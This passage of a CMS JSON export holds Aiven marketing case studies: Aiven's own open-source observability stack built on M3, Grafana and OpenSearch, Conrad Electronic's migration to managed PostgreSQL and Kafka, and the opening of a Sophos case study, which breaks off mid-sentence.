data keeps growing and growing. This means we also need a readily scalable solution. Companies with slower growth or in a business model that doesn’t increase the amount of monitoring can scale up at a slower pace and have a bit more time to plan and execute."}],"markDefs":[],"style":"normal"},{"_key":"a911d1a6268f","_type":"block","children":[{"_key":"40c25e1197ba0","_type":"span","marks":[],"text":"Added to that, when Aiven started out, we were just another tiny startup, strapped for cash but filled to the brim with programming experience. So naturally we looked for inexpensive solutions that we could use our experience and expertise to integrate into a proper observability platform."}],"markDefs":[],"style":"normal"},{"_key":"b28c6ee553eb","_type":"block","children":[{"_key":"fc8c2f66cdcc0","_type":"span","marks":[],"text":"And to top it off, we definitely wanted to go open source. Not just for the price but also because it’s just what we do with our lives."}],"markDefs":[],"style":"normal"},{"_key":"1c9833b13f6e","_type":"block","children":[{"_key":"81408f854f5a0","_type":"span","marks":[],"text":"Eventually, after many iterations, we’ve come up with an overall solution for internal observability that addresses these points and does a pretty good job. Well okay, an excellent job in fact."}],"markDefs":[],"style":"normal"},{"_key":"6fff17c94285","_type":"block","children":[{"_key":"8d3861bb8cbb0","_type":"span","marks":[],"text":"We’re seeing a lot of other companies out there struggling with their monitoring solutions. We now invite you to take a step back and look at the larger picture. We offer a way out of the labyrinth of multiple monitoring tools, up onto the promontory offering a magnificent, integrated view of your data status."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"5366cccb5763","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"9c14500b42fc","_ref":"6cA8XxCFwLgb6UcsVztkdm","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"49fabfaaf75d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"e50ef9d0b118","_type":"block","children":[{"_key":"c4a252aa7a250","_type":"span","marks":[],"text":"We’ve been using this solution (or its direct predecessors) for years because it’s robust and versatile. The building blocks we’ve used to construct our solution are:"}],"markDefs":[],"style":"normal"},{"_key":"96faeaa985a9","_type":"block","children":[{"_key":"3174cfd89fc10","_type":"span","marks":[],"text":"M3 as a metrics engine"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"deb4aba6357f","_type":"block","children":[{"_key":"79d5ac9d14b30","_type":"span","marks":[],"text":"Grafana® for dashboards and alerts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"82d541fe96ac","_type":"block","children":[{"_key":"45028e21da070","_type":"span","marks":[],"text":"OpenSearch for examining logs, combined with OpenSearch dashboards as a search UI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ef42ea2ea560","_type":"block","children":[{"_key":"afdd098e93030","_type":"span","marks":[],"text":"These plug into agents collecting metrics and logs, Telegraf™ and Logstash respectively.\n\nAiven actually started with InfluxDB® as our time series database, but the increasing number of metrics we collected forced us to find something new. On a practical level, the InfluxDB based solution generated duplicate alerts which was annoying."}],"markDefs":[],"style":"normal"},{"_key":"4a9583b17381","_type":"block","children":[{"_key":"e85bf5ec42ca0","_type":"span","marks":[],"text":"“M3 was the best heavy-duty option,” says Markus Stenberg, one of Aiven’s Staff Software Engineers. “It’s used by several large companies and "},{"_key":"e85bf5ec42ca1","_type":"span","marks":["1beb628da8f4"],"text":"it’s horizontally scalable"},{"_key":"e85bf5ec42ca2","_type":"span","marks":[],"text":". Its architecture is also simple enough to be robust and comprehensible.”"}],"markDefs":[{"_key":"1beb628da8f4","_type":"link","href":"https://docs.aiven.io/docs/products/m3db/concepts/scaling-m3"}],"style":"normal"},{"_key":"a232c59d94cd","_type":"block","children":[{"_key":"dd203cf06b940","_type":"span","marks":[],"text":"“It’s not perfect by any means, but we’ve done our best to plug the biggest holes. For example, upstream M3 is network-intensive because it doesn’t compress traffic. We’ve built compression into our own branch, though, and now we’re just waiting for the upstream project to merge our work,” Stenberg says."}],"markDefs":[],"style":"normal"},{"_key":"f6aee90f8173","_type":"block","children":[{"_key":"55acb0887b950","_type":"span","marks":[],"text":"Our own use of M3 was what gave us the idea to start offering Aiven for M3 so that you, too, could benefit. "}],"markDefs":[],"style":"normal"},{"_key":"f98e9ef5af6e","_type":"image","asset":{"_ref":"image-68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308-png","_type":"reference"}},{"_key":"c6c4c56b4344","_type":"block","children":[{"_key":"7bc19bfe87640","_type":"span","marks":[],"text":"Comprehensive logging"}],"markDefs":[],"style":"h3"},{"_key":"ac0df88ae2c4","_type":"block","children":[{"_key":"961fb30169700","_type":"span","marks":[],"text":"We use logs for multiple purposes. “They’re like the Swiss Army Knife of data collection,” says Eloranta. “Log entries are easy to collect, move and transform using open source components.”"}],"markDefs":[],"style":"normal"},{"_key":"83a6eb14fcad","_type":"block","children":[{"_key":"b79d5ce154d00","_type":"span","marks":[],"text":"In troubleshooting, it’s helpful that we collect so many logs. You often don’t know what you’ll need before you need it, and having fine-grained data helps us analyse fault situations quickly and accurately."}],"markDefs":[],"style":"normal"},{"_key":"a6153cd8d22d","_type":"block","children":[{"_key":"220b66362c250","_type":"span","marks":[],"text":"Listening to the heartbeat"}],"markDefs":[],"style":"h3"},{"_key":"cdb9edfca465","_type":"block","children":[{"_key":"35e0864f33380","_type":"span","marks":[],"text":"But Aiven doesn’t just rely on logs for failure detection. Many layers are needed to ensure that alerts are triggered correctly."}],"markDefs":[],"style":"normal"},{"_key":"8c07c418e19a","_type":"block","children":[{"_key":"ff3de7f1c5350","_type":"span","marks":[],"text":"Aiven uses heartbeat-based monitoring to complement the telemetry collection. This ensures that if the telemetry-producing systems go down, the receiving systems don’t just sit there waiting for a signal that never comes. Instead, they know they’re supposed to be receiving a ping, so if nothing happens, it triggers an action because something is wrong."}],"markDefs":[],"style":"normal"},{"_key":"0ebdf45c1ec6","_type":"block","children":[{"_key":"147b4ffc5a700","_type":"span","marks":[],"text":"Alert rule maintenance"}],"markDefs":[],"style":"h3"},{"_key":"dbff2a975b11","_type":"block","children":[{"_key":"a863df58842d0","_type":"span","marks":[],"text":"We also keep working on our alert rules all the time to ensure that they cover all possible failure cases. That work will never be finished, because there’s no way for any list of failures to be complete and comprehensive, but we’re making the serious effort anyway."}],"markDefs":[],"style":"normal"},{"_key":"b3a5cb81ab34","_type":"block","children":[{"_key":"5f724953deb20","_type":"span","marks":[],"text":"“Let’s say one of our ops team members notices we’ve run out of file descriptors, for example,” says Eloranta. “This makes them realise it’s a good case to build an alert for. So because we already collect the metrics, it’s easy to create a graph in Grafana to discover the normal variation in file descriptors used. That figure can then become the basis for a new file descriptor use alert.”"}],"markDefs":[],"style":"normal"},{"_key":"feccdd1b9a03","_type":"block","children":[{"_key":"5895ec7c82c00","_type":"span","marks":[],"text":"Alerts incoming"}],"markDefs":[],"style":"h3"},{"_key":"953090b3388e","_type":"block","children":[{"_key":"6c66493acce00","_type":"span","marks":[],"text":"When a fault has been detected, the Aiven team is notified by several concurrent and consecutive channels, like phone alerts and Slack messages."}],"markDefs":[],"style":"normal"},{"_key":"606e350d6753","_type":"block","children":[{"_key":"3442c10f54250","_type":"span","marks":[],"text":"But since Aiven’s system has so many alerts configured, doesn’t the team get a bad case of alert fatigue? Eloranta says no."}],"markDefs":[],"style":"normal"},{"_key":"84efc9200cfa","_type":"block","children":[{"_key":"215fdb8f209f0","_type":"span","marks":[],"text":"“It depends on how robust your system is,” he says. “If you have lots of alerts and your system is on fire every day, of course you’ll stop paying attention to them. That tells you to shift your focus from reactive to proactive and start fixing the system. Aiven has always addressed the root causes first. You can’t avoid alerts altogether in a big system, especially in the cloud, but you can try.”"}],"markDefs":[],"style":"normal"}],"title":"The solutions","variant":"oneColumn"},{"_key":"cb4dedce2ce7","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"70b7e5b0fc18","_ref":"5J9HPxL6cbe0ZgOiSueO0U","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"729516bfbeb4","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"cc1e614aa016","_type":"block","children":[{"_key":"e5eb1f23ab790","_type":"span","marks":[],"text":"If you take a look at the graphic above, you’ll note that a lot of those building blocks are available through Aiven. You can in fact build a system similar to ours using Aiven products."}],"markDefs":[],"style":"normal"},{"_key":"2eb1d4dc88a4","_type":"block","children":[{"_key":"44def513a13a0","_type":"span","marks":[],"text":"True, you could just sign up for a complete service package like Datadog to get all of these observability goodies. Also true that it’s easier than assembling your own. However, it’s also more expensive, and will leave you locked in with their offering, which Aiven’s open source tools will never do. (We’d also like to make the case that building stuff is fun, so Aiven will provide you with that extra pleasure!)"}],"markDefs":[],"style":"normal"},{"_key":"6a6ab838d6a1","_type":"block","children":[{"_key":"e0095a4bc53f0","_type":"span","marks":[],"text":"Just as a side note, let’s make the context crystal clear: Aiven’s observability solution can be copied directly to keep an eye on absolutely any system. We’re not talking about monitoring Aiven services here. We’re saying you can take this solution and use it to observe whatever it is you’re currently observing, or still building."}],"markDefs":[],"style":"normal"},{"_key":"affbd5b73b2f","_type":"block","children":[{"_key":"13b42c3731410","_type":"span","marks":[],"text":"Exactly what components you need depends of course on what you already have, but let’s just take a stroll through the complete roundup."}],"markDefs":[],"style":"normal"},{"_key":"f042027d2a89","_type":"block","children":[{"_key":"8646f56cf58d0","_type":"span","marks":[],"text":"Metrics"}],"markDefs":[],"style":"h3"},{"_key":"f3998cdc80d0","_type":"block","children":[{"_key":"dbcea2aacd450","_type":"span","marks":[],"text":"If you’re "},{"_key":"dbcea2aacd451","_type":"span","marks":["f10316cafb97"],"text":"already using Prometheus"},{"_key":"dbcea2aacd452","_type":"span","marks":[],"text":" or Graphite as your monitoring solution, you can just plug "},{"_key":"dbcea2aacd453","_type":"span","marks":["797439d2a6a1"],"text":"Aiven for M3"},{"_key":"dbcea2aacd454","_type":"span","marks":[],"text":" into that. Otherwise, you can use something else like Telegraf to collect the metrics and pass them right on to M3. "}],"markDefs":[{"_key":"f10316cafb97","_type":"link","href":"https://aiven.io/blog/5-1-reasons-to-extend-your-prometheus-with-m3"},{"_key":"797439d2a6a1","_type":"link","href":"https://aiven.io/m3"}],"style":"normal"},{"_key":"e16e5ed156d4","_type":"block","children":[{"_key":"1af58354b4e40","_type":"span","marks":["strong"],"text":"Logs"}],"markDefs":[],"style":"h3"},{"_key":"120ca3d71d38","_type":"block","children":[{"_key":"d9835083f5ac0","_type":"span","marks":[],"text":"Logstash is a great open source component that can then forward the logs it collects to "},{"_key":"d9835083f5ac1","_type":"span","marks":["02ec221ac33d"],"text":"Aiven for OpenSearch®"},{"_key":"d9835083f5ac2","_type":"span","marks":[],"text":". To make your logs more usable, you can set up OpenSearch dashboards as a user interface, too. It’s included in Aiven for OpenSearch."}],"markDefs":[{"_key":"02ec221ac33d","_type":"link","href":"https://aiven.io/opensearch"}],"style":"normal"},{"_key":"f7c70caaa5aa","_type":"block","children":[{"_key":"002a40bb3b670","_type":"span","marks":["strong"],"text":"Visualisation"}],"markDefs":[],"style":"h3"},{"_key":"59a0cb2befe7","_type":"block","children":[{"_key":"ec3728fb1ec70","_type":"span","marks":["55c7554cb3f8"],"text":"Aiven for Grafana®"},{"_key":"ec3728fb1ec71","_type":"span","marks":[],"text":" is a great way to collect Everything™ into a UI for easy access. You can also use it to configure the system to send alerts and updates through other channels."}],"markDefs":[{"_key":"55c7554cb3f8","_type":"link","href":"https://aiven.io/grafana"}],"style":"normal"},{"_key":"266dfd6f6583","_type":"block","children":[{"_key":"f6f490392a3c0","_type":"span","marks":[],"text":"With Aiven’s solution, you get the familiar Aiven Console or CLI to set up the whole kaboodle, and you can do that in minutes."}],"markDefs":[],"style":"normal"},{"_key":"5888bd3e4639","_type":"block","children":[{"_key":"e145cf2a87d60","_type":"span","marks":[],"text":"As the icing on the cake, you can be sure that your solution works, because Aiven’s business literally depends on it working. That’s why we’ve done it this way. “We eat our own dogfood,” says Eloranta. “Because we use the products we offer to customers ourselves, we know how they work from a user perspective, and how to keep them working for our customers.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"9a7d608ef363","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"e2f2ee9c1d73","_ref":"4GcqQ09ea5VFfCphgV3D1D","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-cs-observability-for-aiven-en","heroSubtitle":"Aiven has built a solid observability solution that our customers can also adopt by using the open source building blocks provided by Aiven.","heroTitle":"Open source tools provide observability for Aiven","hostProviders":[{"_key":"216580d3dfc0","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"d08d8a3ea867","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"70501bf145e4","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"3ec7ac8237bc","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"10c2a071e9a6","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-ecbf664fda86beab1c20f268be58f9b2a75f9ef0-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2021-10-18T10:59:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Aiven has built a solid observability solution that our customers can also adopt by using the open source building blocks provided by Aiven. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-86201ac0569e596449d453e806ce66e01cb38db0-1200x630-jpg","_type":"reference"}},"metaTitle":"Open source tools provide observability for Aiven"},"services":[{"_key":"7ae69038ab1f","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"31f897bf9ded","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},{"_key":"c680b9777541","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/open-source-tools-provide-observability-for-aiven"},"title":"Aiven"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841__i18n_de","_type":"reference"}],"_createdAt":"2023-06-26T06:58:02Z","_id":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_rev":"TZseqjnC3npGl19UXqQ0Zp","_type":"caseStudy","_updatedAt":"2024-11-28T15:53:57Z","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"e92a333be4f8","_type":"block","children":[{"_key":"11f398737b170","_type":"span","marks":[],"text":"German-based Conrad Electronic provides an advanced sourcing platform serving 21 million customers worldwide. Its mission is to become the leading European B2B sourcing platform for technical supplies and its e-commerce database is at the heart of its business. With its online platform fast expanding and the associated data exploding, the retailer needed its data infrastructure to be faster, more robust and scalable. Conrad selected Aiven to manage open source data technologies PostgreSQL®, Apache Kafka®, OpenSearch® and M3 on Google Cloud. The e-commerce platform now benefits from real-time data streaming and a highly stable database handling 11.2 million requests an hour, ensuring its customers enjoy a fast, superior experience. With Aiven managing the cloud data infrastructure, Conrad’s developers can focus on what they do best — delivering even more customer value."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b84fa7c8528b","_type":"block","children":[{"_key":"17de60e436460","_type":"span","marks":[],"text":"Since 1923, Conrad Electronic have been a reliable partner when it comes to technology and Electronics. Today, as a sourcing platform, the company provides all parts for a successful sourcing of technical supplies. At Conrad, business customers get exactly what makes their project or business a success: a wide and deep product range comprising nine million products to choose from, customer-centric solutions and services, and face-to-face expert advice. The company has successfully evolved from a traditional B2C retailer to an international B2B sourcing platform. It sells more than 9 million products from 6,000 brands on conrad.de ranging from computing equipment and tools to batteries and automation products. The Conrad group achieves more than €1 billion annual turnover and has its sights set on becoming the leading European B2B sourcing platform for technical supplies."}],"markDefs":[],"style":"normal"}],"title":"Advanced B2B sourcing platform selling 9 million products from 6,000 brands on conrad.de","variant":"oneColumn"},{"_key":"19308632851c","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850-webp","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"96edccc4787a","_type":"block","children":[{"_key":"02aeac9c1a040","_type":"span","marks":[],"text":"Conrad’s e-commerce platform provides its 21 million customers worldwide with a quick and convenient online shopping experience. They can compare products from all the brands and buy everything they need in one place.\n\nConrad’s database is central to its e-commerce operations, storing critical data like users, wish lists, orders, SKUs and product prices. “Our database is the heart of our e-commerce platform. Without it, nothing else works,” says Janek Wonner, Head of SRE and Cloud Technology, Conrad Electronic.\n\nUntil 2020, Conrad used self-managed PostgreSQL running on Google Cloud for its e-commerce database. With its platform expanding, the retailer wanted to upgrade to a faster, more robust version. However, due to the limited resources, there were concerns about the practicality of a successful database upgrade, especially considering the specialized expertise required for upgrading the PostgreSQL system.\n\n“We can’t risk any disruption to the database — no downtime is allowed. If the e-commerce platform is offline then we can’t process any orders. Every minute costs money,” says Wonner.\n\nWonner considered, but quickly discounted, the option of continuing with self-managed PostgreSQL. The upgrade and subsequent management would require a huge amount of resources and skills Conrad simply didn’t have at the time."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL upgrade risks e-commerce marketplace interruption","variant":"oneColumn"},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"62f40d0440e3","_type":"block","children":[{"_key":"e97eb77668890","_type":"span","marks":[],"text":"Wonner evaluated PostgreSQL managed services from five different vendors against a wide range of criteria and Aiven came out top. “There were many reasons for choosing Aiven but if I had to pick the top three, I’d say great people, ease-of-use and fair, transparent pricing,” says Wonner. “We found the whole Aiven set-up and the team really easy to work with. We contacted lots of vendors for Proof of Concepts and Aiven was by far the easiest and fastest to get started with.”\n\nThe transition to Aiven and subsequent PostgreSQL upgrade went seamlessly. This was helped by the integration of Aiven services with Google Cloud. “It’s great we can get open source data services like PostgreSQL from Aiven already set-up on Google Cloud. It saves us time and effort,” says Wonner. His team ran several trials and load tests and then Aiven ran compatibility checks to determine necessary adjustments before the upgrade. Conrad then imported its whole database into an Aiven instance, and performed several tests which showed the new database to be much faster. It was put into production and quickly embraced by Wonner’s team.\n\n“Aiven has an elegant, simple dashboard which our developers find easy to understand and use. We can spin up new clusters with a couple of clicks. Aiven makes PostgreSQL really easy for us,” says Wonner.\n\nAt that time, the Conrad business was still expanding and the company started facing other data infrastructure challenges. As the number of marketplace sellers and products grew, the amount of product data increased exponentially. “We needed an architecture to better support the exploding volume of data that was moving between all our applications. We liked the look of Apache Kafka for real-time data streaming but knew it was tricky to manage,” says Alexander Kaiser, Head of Platform Architecture.\n\nGiven the success of Aiven for PostgreSQL, the team decided to try out Aiven for Apache Kafka on Google Cloud. Again, the transition went smoothly. “We were worried we’d have to do something special to get it working with Aiven, but that wasn’t the case,” says Diego Irismar da Costa, Platform Architect, Conrad Electronic. “We like that it’s the open-source version of Apache Kafka, not a customized version with vendor lock-in. If we research online how to use Kafka, it applies to Aiven for Apache Kafka. That makes it really simple for us.”"}],"markDefs":[],"style":"normal"}],"title":"Seamless transition to Aiven platform on Google Cloud","variant":"oneColumn"},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"bd92afcf8bfd","_type":"block","children":[{"_key":"7aa7df29c84d0","_type":"span","marks":[],"text":"Since upgrading to fully managed Aiven for PostgreSQL, Conrad is benefiting from a high-performance, fast and reliable e-commerce database. It handles a huge volume of traffic — 11.2 million requests an hour — and can easily scale to accommodate peaks in demand. Wonner’s team no longer worries about maintenance and upgrades as this is managed by Aiven with an uptime SLA of 99.99%.\n\nAiven’s PostgreSQL integrates with key e-commerce applications. This includes Conrad’s e-procurement solutions designed to build customer loyalty by simplifying the sourcing process for B2B customers. For example, the database communicates with Conrad’s Open Catalog Interface (OCI). This allows customers to integrate the Conrad marketplace with their SAP procurement system, enabling them to order products and take advantage of tailored offers and discounts more conveniently.\n\nAnother benefit is that Conrad can use the Google Cloud VPC network peering with Aiven which achieves latency below one millisecond. “We have a huge amount of database calls going on so the incredibly low level of latency enabled by the Google Cloud VPC network peering is important to us. It keeps the e-commerce platform operating at speed resulting in a better experience for the customer,” says Wonner."}],"markDefs":[],"style":"normal"}],"title":"E-commerce database handles 11.2 million requests an hour while delivering 99.99% uptime and latency below 1 millisecond","variant":"oneColumn"},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9802c7526fa1","_type":"block","children":[{"_key":"4cc5c47999f60","_type":"span","marks":[],"text":"By using Aiven for Apache Kafka, Conrad can scale to accommodate the increase in data moving at speed around its e-commerce platform, and key integrations have been straight-forward. For example, Conrad now uses Apache Kafka to stream data from its Product Information Management (PIM) system to its product service system in real-time which delivers product information to customers via an API.\n\n“Aiven for Apache Kafka is now our number one technology for managing information flow between the many different systems underpinning our e-commerce marketplace,” says Kaiser. “It’s fast, reliable and scalable.”\n\nConrad has also started using Aiven for OpenSearch and Aiven for M3. These services are primarily used to gather logs and metrics about Apache Kafka and PostgreSQL, which it then visualizes with Grafana.\n\n“Having this combination of managed services from Aiven brings great value. We’ve been able to easily add new services without the hassle of onboarding a new vendor. We can operate everything from one place. The costs are transparent and it's easy for us to see the price of using other services as we plan ahead,” says Wonner."}],"markDefs":[],"style":"normal"}],"title":"Continuous, real-time data streaming between applications","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"0618ec38bd60","_type":"block","children":[{"_key":"0fb9387e0a5c0","_type":"span","marks":[],"text":"Conrad now has a highly stable and scalable data infrastructure underpinning its e-commerce platform which ensures that, during the 200 million visits made each year on its platforms, customers always enjoy a fast, reliable experience. With the day-to-day management handled by Aiven, Conrad’s engineers and developers can focus on making the customer experience even better.\n\n“We have a small team looking after PostgreSQL, Kafka and MongoDB. If it were all self-managed, we’d need to double our team. Aiven enables our team to focus on what brings value to our customers. With a limited number of people, we’re achieving great things. As the company keeps growing, Aiven will remain a solid partner,” says Kaiser."}],"markDefs":[],"style":"normal"}],"title":"Achieving great things together — today and tomorrow","variant":"oneColumn"}],"heroSubtitle":"International sourcing platform for technical supplies delivers more customer value while Aiven manages its cloud data infrastructure","heroTitle":"Conrad Electronic Expands E‑Commerce Platform with Aiven","image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"publishedAt":"2023-06-26T10:41:00.000Z","seo":{"_type":"metaData","metaDescription":"International sourcing platform for technical supplies delivers more customer value while Aiven manages its cloud data infrastructure","metaImage":{"_type":"mainImage","asset":{"_ref":"image-367bca89312b776def9b418373f2d59eb54d6d70-3295x1724-png","_type":"reference"}},"metaTitle":"Conrad Electronic Expands E-Commerce Platform with Aiven"},"slug":{"_type":"slug","current":"/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven"},"title":"Conrad Electronic Expands E-Commerce Platform with Aiven"} {"__i18n_lang":"en","_createdAt":"2024-10-10T14:51:40Z","_id":"7b593397-e40c-408b-a5bf-a22b349e99ed","_rev":"exgZYl4YMpSEzTrzwwDdtY","_type":"caseStudy","_updatedAt":"2024-10-11T07:56:44Z","company":{"_ref":"1XH8KZN8aj668zBCdJQaTs","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"9d244ff1c91f","_type":"block","children":[{"_key":"77e44d6b67d00","_type":"span","marks":[],"text":"Sophos is a global leader of advanced security solutions for defeating cyberattacks. Already one of the largest pure-play cybersecurity providers in the world, the company continues to expand and is focused on delivering cybersecurity as a service. Its flagship product, Sophos Central, is underpinned by an advanced data platform which relies on Aiven for Apache Kafka on AWS to move vast amounts of data at speed. By adopting Aiven’s Bring Your Own Cloud (BYOC) model, Sophos has kept the benefits of using the Aiven service while taking advantage of compute savings plans in its AWS account and gaining granular control over the Aiven managed service deployments and networking."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"bca678accb79","_type":"block","children":[{"_key":"68e2460fa8af0","_type":"span","marks":[],"text":"Sophos is on a mission to develop powerful and intuitive products and services that provide the world's most effective cybersecurity for organizations of any size. Sophos defends more than 600,000 organizations and more than 100 million users from adversaries, ransomware, phishing, malware and more."}],"markDefs":[],"style":"normal"},{"_key":"680953e0e231","_type":"block","children":[{"_key":"87920cbd92d00","_type":"span","marks":[],"text":"In a multi-threat world, where cyberattackers constantly evolve their threat vectors, the company continues to innovate. It is particularly focused on delivering cybersecurity as a service — so it can give even more organizations the necessary protection from attack."}],"markDefs":[],"style":"normal"}],"title":"A mission to protect","topOverlap":false,"variant":"oneColumn"},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"1d4d8c53c831","_type":"block","children":[{"_key":"0ef3d06b4f5d0","_type":"span","marks":[],"text":"Cybersecurity is a data business. Sophos’s ability to provide early, comprehensive threat detection — and response — depends on its ability to rapidly handle phenomenal and increasing amounts of data every day. As cyber threats evolve, becoming more intelligent and more complex, Sophos must constantly adapt to new trends."}],"markDefs":[],"style":"normal"},{"_key":"abf3c8362d2f","_type":"block","children":[{"_key":"595bde7d71fb0","_type":"span","marks":[],"text":"In 2018, Sophos launched its Cloud Management SaaS product, Sophos Central, which combined real-time information sharing between products with automated incident response and a unified management console. By aggregating threat, health and security information across Sophos’s network of customer products, applications and end-points, Sophos Central created much larger data pools. This provided deeper insights into potential cyberattacks, enabling Sophos analysts and customers to respond faster and more effectively to emerging threats."}],"markDefs":[],"style":"normal"}],"title":"A data-intensive and highly-competitive business","topOverlap":false,"variant":"oneColumn"},{"_key":"063f2b08bc3e","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-364de6f9171803183a824acb19a26af6f70a1a44-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"55833302bf36","_type":"block","children":[{"_key":"2aba194021bb0","_type":"span","marks":[],"text":"When the company created Sophos Central, 